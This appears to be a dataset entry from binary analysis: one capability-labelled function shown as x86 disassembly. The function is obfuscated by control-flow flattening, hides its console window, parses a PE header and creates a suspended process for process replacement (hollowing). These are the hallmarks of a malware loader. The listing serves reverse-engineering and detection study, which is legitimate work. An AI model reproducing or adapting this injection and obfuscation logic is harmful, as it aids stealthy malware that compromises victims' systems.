Function at 0x10002cf0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x12c
mov eax, dword [0x1006a200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x134], 0x1c58090c
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x138], eax
sub eax, 0x80a14dd8
je 0x10005d77
jmp 0x10002d2c
mov eax, dword [ebp - 0x138]
sub eax, 0x80a17853
je 0x10009b06
jmp 0x10002d42
mov eax, dword [ebp - 0x138]
sub eax, 0x80fce37b
je 0x1000a1b5
jmp 0x10002d58
mov eax, dword [ebp - 0x138]
sub eax, 0x816aa3ca
je 0x10006181
jmp 0x10002d6e
mov eax, dword [ebp - 0x138]
sub eax, 0x81c2aaa9
je 0x10007403
jmp 0x10002d84
mov eax, dword [ebp - 0x138]
sub eax, 0x820e8c08
je 0x10008287
jmp 0x10002d9a
mov eax, dword [ebp - 0x138]
sub eax, 0x82750c8c
je 0x10007d3b
jmp 0x10002db0
mov eax, dword [ebp - 0x138]
sub eax, 0x83026d3b
je 0x10007be5
jmp 0x10002dc6
mov eax, dword [ebp - 0x138]
sub eax, 0x847ec382
je 0x1000807e
jmp 0x10002ddc
mov eax, dword [ebp - 0x138]
sub eax, 0x865b5685
je 0x1000885c
jmp 0x10002df2
mov eax, dword [ebp - 0x138]
sub eax, 0x8a13db00
je 0x10008902
jmp 0x10002e08
mov eax, dword [ebp - 0x138]
sub eax, 0x8aad0cd5
je 0x1000551c
jmp 0x10002e1e
mov eax, dword [ebp - 0x138]
sub eax, 0x8ba208db
je 0x10007993
jmp 0x10002e34
mov eax, dword [ebp - 0x138]
sub eax, 0x8bc1ea69
je 0x10006258
jmp 0x10002e4a
mov eax, dword [ebp - 0x138]
sub eax, 0x8c3cb2bd
je 0x1000ad55
jmp 0x10002e60
mov eax, dword [ebp - 0x138]
sub eax, 0x8ca38868
je 0x1000b14b
jmp 0x10002e76
mov eax, dword [ebp - 0x138]
sub eax, 0x8cae4cdc
je 0x1000697d
jmp 0x10002e8c
mov eax, dword [ebp - 0x138]
sub eax, 0x8d84734f
je 0x100075c5
jmp 0x10002ea2
mov eax, dword [ebp - 0x138]
sub eax, 0x8db8630f
je 0x10008161
jmp 0x10002eb8
mov eax, dword [ebp - 0x138]
sub eax, 0x8e133937
je 0x10006f5e
jmp 0x10002ece
mov eax, dword [ebp - 0x138]
sub eax, 0x8f8719be
je 0x10005964
jmp 0x10002ee4
mov eax, dword [ebp - 0x138]
sub eax, 0x913e7cf8
je 0x10006a12
jmp 0x10002efa
mov eax, dword [ebp - 0x138]
sub eax, 0x916a5e74
je 0x1000b0e8
jmp 0x10002f10
mov eax, dword [ebp - 0x138]
sub eax, 0x9199ad51
je 0x1000693f
jmp 0x10002f26
mov eax, dword [ebp - 0x138]
sub eax, 0x92b4ffe5
je 0x1000699a
jmp 0x10002f3c
mov eax, dword [ebp - 0x138]
sub eax, 0x92f85280
je 0x1000a2d4
jmp 0x10002f52
mov eax, dword [ebp - 0x138]
sub eax, 0x92fac548
je 0x10007f62
jmp 0x10002f68
mov eax, dword [ebp - 0x138]
sub eax, 0x94386c27
je 0x1000b52c
jmp 0x10002f7e
mov eax, dword [ebp - 0x138]
sub eax, 0x9461a14d
je 0x10009b32
jmp 0x10002f94
mov eax, dword [ebp - 0x138]
sub eax, 0x977a11ee
je 0x10005b38
jmp 0x10002faa
mov eax, dword [ebp - 0x138]
sub eax, 0x97f10a59
je 0x1000a3e6
jmp 0x10002fc0
mov eax, dword [ebp - 0x138]
sub eax, 0x9826b866
je 0x10008712
jmp 0x10002fd6
mov eax, dword [ebp - 0x138]
sub eax, 0x987f7a82
je 0x1000907d
jmp 0x10002fec
mov eax, dword [ebp - 0x138]
sub eax, 0x98e6e786
je 0x1000af22
jmp 0x10003002
mov eax, dword [ebp - 0x138]
sub eax, 0x9934e4e9
je 0x100066e3
jmp 0x10003018
mov eax, dword [ebp - 0x138]
sub eax, 0x99905dca
je 0x1000b553
jmp 0x1000302e
mov eax, dword [ebp - 0x138]
sub eax, 0x99bf4ded
je 0x10009433
jmp 0x10003044
mov eax, dword [ebp - 0x138]
sub eax, 0x99c10ccc
je 0x10007c02
jmp 0x1000305a
mov eax, dword [ebp - 0x138]
sub eax, 0x9b451433
je 0x10006a80
jmp 0x10003070
mov eax, dword [ebp - 0x138]
sub eax, 0x9c52511a
je 0x1000a83c
jmp 0x10003086
mov eax, dword [ebp - 0x138]
sub eax, 0x9ce5d3bc
je 0x1000b598
jmp 0x1000309c
mov eax, dword [ebp - 0x138]
sub eax, 0x9ea8544f
je 0x10007a2f
jmp 0x100030b2
mov eax, dword [ebp - 0x138]
sub eax, 0x9eef444a
je 0x10009e11
jmp 0x100030c8
mov eax, dword [ebp - 0x138]
sub eax, 0x9f93ea64
je 0x100075e4
jmp 0x100030de
mov eax, dword [ebp - 0x138]
sub eax, 0xa09f97cb
je 0x10009121
jmp 0x100030f4
mov eax, dword [ebp - 0x138]
sub eax, 0xa2152117
je 0x100062e1
jmp 0x1000310a
mov eax, dword [ebp - 0x138]
sub eax, 0xa332691b
je 0x100093bc
jmp 0x10003120
mov eax, dword [ebp - 0x138]
sub eax, 0xa55b9bd0
je 0x100082fd
jmp 0x10003136
mov eax, dword [ebp - 0x138]
sub eax, 0xa56b0682
je 0x10007c40
jmp 0x1000314c
mov eax, dword [ebp - 0x138]
sub eax, 0xa60f11b7
je 0x1000b6b6
jmp 0x10003162
mov eax, dword [ebp - 0x138]
sub eax, 0xa6b1ad1d
je 0x100075a8
jmp 0x10003178
mov eax, dword [ebp - 0x138]
sub eax, 0xa6c17c7e
je 0x1000a1e2
jmp 0x1000318e
mov eax, dword [ebp - 0x138]
sub eax, 0xa6ccb82b
je 0x100072e7
jmp 0x100031a4
mov eax, dword [ebp - 0x138]
sub eax, 0xa6e09c96
je 0x1000aee4
jmp 0x100031ba
mov eax, dword [ebp - 0x138]
sub eax, 0xa725d115
je 0x1000539e
jmp 0x100031d0
mov eax, dword [ebp - 0x138]
sub eax, 0xa80b892d
je 0x10005f41
jmp 0x100031e6
mov eax, dword [ebp - 0x138]
sub eax, 0xa82ca8ee
je 0x1000749d
jmp 0x100031fc
mov eax, dword [ebp - 0x138]
sub eax, 0xa908fee8
je 0x1000abd8
jmp 0x10003212
mov eax, dword [ebp - 0x138]
sub eax, 0xa9e93e6b
je 0x10007432
jmp 0x10003228
mov eax, dword [ebp - 0x138]
sub eax, 0xaa5dc5e3
je 0x10005f50
jmp 0x1000323e
mov eax, dword [ebp - 0x138]
sub eax, 0xaa886719
je 0x1000b19c
jmp 0x10003254
mov eax, dword [ebp - 0x138]
sub eax, 0xaaf33049
je 0x100067fd
jmp 0x1000326a
mov eax, dword [ebp - 0x138]
sub eax, 0xab9385de
je 0x100055a9
jmp 0x10003280
mov eax, dword [ebp - 0x138]
sub eax, 0xac4acf29
je 0x10005b57
jmp 0x10003296
mov eax, dword [ebp - 0x138]
sub eax, 0xac548eb7
je 0x1000773c
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011d0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011d0
add esp, 4
movss xmm0, dword [0x10018234]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x10018230]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x1001822c]
movss dword [ebp - 0x11c], xmm0
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
add edx, 0xa6dcc833
sub edx, 1
sub edx, 0xa6dcc833
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x10268bc9
mov ecx, 0x797111dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
movss xmm0, dword [0x100183ac]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x134], 0x7e83e69e
jmp 0x1000b6cf
movss xmm0, dword [0x10018228]
movss dword [ebp - 0x11c], xmm0
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
sub edx, 0xa0c60b5b
sub edx, 1
add edx, 0xa0c60b5b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe251acb4
mov ecx, 0x1f6bd454
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0xa45d86b4
sub edx, 1
add edx, 0xa45d86b4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6b6541ae
mov ecx, 0xb7097cf4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
movss xmm0, dword [0x1001838c]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x134], 0xac4acf29
jmp 0x1000b6cf
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdc1e225b
mov ecx, 0xca83c60d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdc7a9eac
mov ecx, 0xfcd40300
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov dword [ebp - 0x134], 0xaa5dc5e3
jmp 0x1000b6cf
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
add edx, 0x4c5835e6
sub edx, 1
sub edx, 0x4c5835e6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe38e5a05
mov ecx, 0x2224823f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
add edx, 0x4e05b0bb
sub edx, 1
sub edx, 0x4e05b0bb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3be4d7e0
mov ecx, 0x4c9debc9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov dword [ebp - 0x134], 0x511d6c30
jmp 0x1000b6cf
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1d1c838e
mov ecx, 0xf605b5f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov dl, 1
mov eax, 0xaaf33049
mov ecx, 0xcd370c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
movss xmm0, dword [0x10018364]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x10018360]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x134], 0x67758707
jmp 0x1000b6cf
movss xmm0, dword [0x10018358]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x134], 0x6200c62c
jmp 0x1000b6cf
mov dl, 1
mov eax, 0x1d44845f
mov ecx, 0x92b4ffe5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
movss xmm0, dword [0x10018350]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x1001834c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x134], 0xd348517d
jmp 0x1000b6cf
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xeb539c03
mov ecx, 0x9b451433
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov dword [ebp - 0x134], 0x1d44845f
jmp 0x1000b6cf
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc4adfcd7
mov ecx, 0x394004f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
movss xmm0, dword [0x100182fc]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x134], 0x53d450bc
jmp 0x1000b6cf
movss xmm0, dword [0x100182f8]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x100182f4]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x134], 0xa9e93e6b
jmp 0x1000b6cf
movss xmm0, dword [0x100182f0]
movss dword [ebp - 0x12c], xmm0
mov dl, 1
mov eax, 0xa82ca8ee
mov ecx, 0x9877ff1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0xeeca00c7
sub edx, 1
add edx, 0xeeca00c7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x29d45772
mov ecx, 0x777913b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov dl, 1
mov eax, 0xc20aac42
mov ecx, 0x8d84734f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
movss xmm0, dword [0x100182e4]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x134], 0x9f93ea64
jmp 0x1000b6cf
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf08ef83f
mov ecx, 0x4da31fdb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3e78309d
mov ecx, 0x6205cf9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov dl, 1
mov eax, 0x292bb72e
mov ecx, 0xdc631a36
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov dl, 1
mov eax, 0xa56b0682
mov ecx, 0x99c10ccc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
movss xmm0, dword [0x100182b0]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100182ac]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x134], 0x3aeb7390
jmp 0x1000b6cf
movss xmm0, dword [0x100182a8]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x134], 0xf464e49b
jmp 0x1000b6cf
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbda3f621
mov ecx, 0x712c79c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov dword [ebp - 0x134], 0x5c2baaad
jmp 0x1000b6cf
mov dword [ebp - 0x134], 0x3f85ff74
jmp 0x1000b6cf
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100181b8]
movss dword [eax], xmm0
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0x65bda28a
sub edx, 1
add edx, 0x65bda28a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5c4b5854
mov ecx, 0x5b217280
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
add edx, 0x4ca1ddc5
sub edx, 1
sub edx, 0x4ca1ddc5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfa254104
mov ecx, 0xa55b9bd0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov dl, 1
mov eax, 0x33cb6ddb
mov ecx, 0xb8992be0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov dword [ebp - 0x134], 0xcb133220
jmp 0x1000b6cf
mov dword [ebp - 0x134], 0xbfbc0b41
jmp 0x1000b6cf
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100181a8]
movss dword [eax], xmm0
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
add edx, 0xf9ad46dd
sub edx, 1
sub edx, 0xf9ad46dd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbaf589c7
mov ecx, 0x62574983
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov dword [ebp - 0x134], 0x30331c1a
jmp 0x1000b6cf
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
sub ecx, 0xdac14433
add ecx, eax
add ecx, 0xdac14433
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0xaa], al
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x49eff6d
mov ecx, 0x1f1b1794
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov eax, dword [ebp - 0xf4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x134], 0x99bf4ded
jmp 0x1000b6cf
mov edx, dword [ebp - 0xa8]
mov eax, 0x1532624d
mov ecx, 0x525d049d
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0x8c]
mov eax, 0x55c02562
mov ecx, 0x9461a14d
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd4]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
add eax, 0x241c880f
add eax, ecx
sub eax, 0x241c880f
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x134], 0xd1787e2
jmp 0x1000b6cf
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x70]
mov dword [eax], ecx
mov dword [ebp - 0x134], 0x3e878d8b
jmp 0x1000b6cf
mov dl, byte [ebp - 0x59]
mov eax, 0x21a49626
mov ecx, 0xc07092c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4b10de0c
mov ecx, 0xadaf2830
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
sub ecx, 0xcd1c0540
add ecx, 8
add ecx, 0xcd1c0540
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x134], 0x159f5d3
jmp 0x1000b6cf
mov dword [ebp - 0x134], 0x505f06df
jmp 0x1000b6cf
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3476ade9
mov ecx, 0x1d92fa31
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000b6cf
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000bd80
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movss xmm0, dword [0x1001820c]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x134], 0xcfbba307
jmp 0x1000b6cf
movss xmm0, dword [0x100181e8]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x100181e4]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x134], 0x254fd3b8
jmp 0x1000b6cf
movss xmm0, dword [0x100181e0]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x100181dc]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x134], 0x3daa77d8
jmp 0x1000b6cf
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100181ac]
movss dword [eax], xmm0
mov dword [ebp - 0x134], 0xd5dc6a83
jmp 0x1000b6cf
mov dword [ebp - 0x134], 0xd7b3629a
jmp 0x1000b6cf
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10018198]
movss dword [eax], xmm0
mov dword [ebp - 0x134], 0x72d3ee2
jmp 0x1000b6cf
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x134], 0xfdf112b6
jmp 0x1000b6cf
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x134], 0x1b8b82e4
jmp 0x1000b6cf
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax]
add ecx, 0xbb2fcd86
sub ecx, 8
sub ecx, 0xbb2fcd86
shr ecx, 1
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0xebf2cd94
sub ecx, eax
sub ecx, 0xebf2cd94
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0
mov dword [ebp - 0x134], 0x340040e2
jmp 0x1000b6cf
mov dword [ebp - 0x134], 0xc8bed608
jmp 0x1000b6cf
jmp 0x10002d10